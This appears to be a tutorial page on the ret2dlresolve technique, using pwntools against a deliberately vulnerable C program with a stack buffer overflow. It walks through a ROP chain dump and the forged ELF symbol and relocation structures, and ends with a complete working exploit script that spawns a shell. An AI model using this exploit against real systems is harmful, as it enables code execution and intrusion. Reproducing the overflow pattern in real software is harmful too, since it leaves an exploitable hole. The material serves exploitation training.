Exploitation

Source

To display an example program, we will use the example given on the pwntools entry for ret2dlresolve:

#include <unistd.h>
void vuln(void){
    char buf[64];
    read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
    vuln();
}

Exploitation

pwntools contains a fancy Ret2dlresolvePayload that can automate the majority of our exploit:

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr)             # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)                 # call .plt and dl-resolve() with the correct, calculated reloc_offset

p.sendline(rop.chain())
p.sendline(dlresolve.payload)                # now the read is called and we pass all the relevant structures in

Let's use rop.dump() to break down what's happening.

[DEBUG] PLT 0x8049030 read
[DEBUG] PLT 0x8049040 __libc_start_main
[DEBUG] Symtab: 0x804820c
[DEBUG] Strtab: 0x804825c
[DEBUG] Versym: 0x80482a6
[DEBUG] Jmprel: 0x80482d8
[DEBUG] ElfSym addr: 0x804ce0c
[DEBUG] ElfRel addr: 0x804ce1c
[DEBUG] Symbol name addr: 0x804ce00
[DEBUG] Version index addr: 0x8048c26
[DEBUG] Data addr: 0x804ce00
[DEBUG] PLT_INIT: 0x8049020
[*] 0x0000:          b'AAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    [...]
    0x004c:        0x8049030 read(0, 0x804ce00)
    0x0050:        0x804921a <adjust @0x5c> pop edi; pop ebp; ret
    0x0054:              0x0 arg0
    0x0058:        0x804ce00 arg1
    0x005c:        0x8049020 [plt_init] system(0x804ce24)
    0x0060:           0x4b44 [dlresolve index]
    0x0064:          b'zaab' <return address>
    0x0068:        0x804ce24 arg0

As we expected - it's a read followed by a call to plt_init with the parameter 0x0804ce24. Our fake structures are being read in at 0x804ce00. The logging at the top tells us where all the structures are placed.

[DEBUG] ElfSym addr: 0x804ce0c
[DEBUG] ElfRel addr: 0x804ce1c
[DEBUG] Symbol name addr: 0x804ce00

Now we know where the fake structures are placed. Since I ran the script with the DEBUG parameter, I'll check what gets sent.

00000000  73 79 73 74  65 6d 00 61  63 61 61 61  a4 4b 00 00  │syst│em·a│caaa│·K··│
00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 ce 04 08  │····│····│····│····│
00000020  07 c0 04 00  2f 62 69 6e  2f 73 68 00  0a           │····│/bin│/sh·│·│
0000002d
  • system is being written to 0x804ce00 - as the debug said the Symbol name addr would be placed

  • After that, at 0x804ce0c, the Elf32_Sym struct starts. First it contains the table index of that string, which in this case is 0x4ba4 as it is a very long way off the actual table. Next it contains the other values on the struct, but they are irrelevant and so zeroed out.

  • At 0x804ce1c that Elf32_Rel struct starts; first it contains the address of the system string, 0x0804ce00, then the r_info variable - if you remember this specifies the R_SYM, which is used to link the SYMTAB and the STRTAB.

After all the structures we place the string /bin/sh at 0x804ce24 - which, if you remember, was the argument passed to system when we printed the rop.dump():

0x005c:        0x8049020 [plt_init] system(0x804ce24)

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

Last updated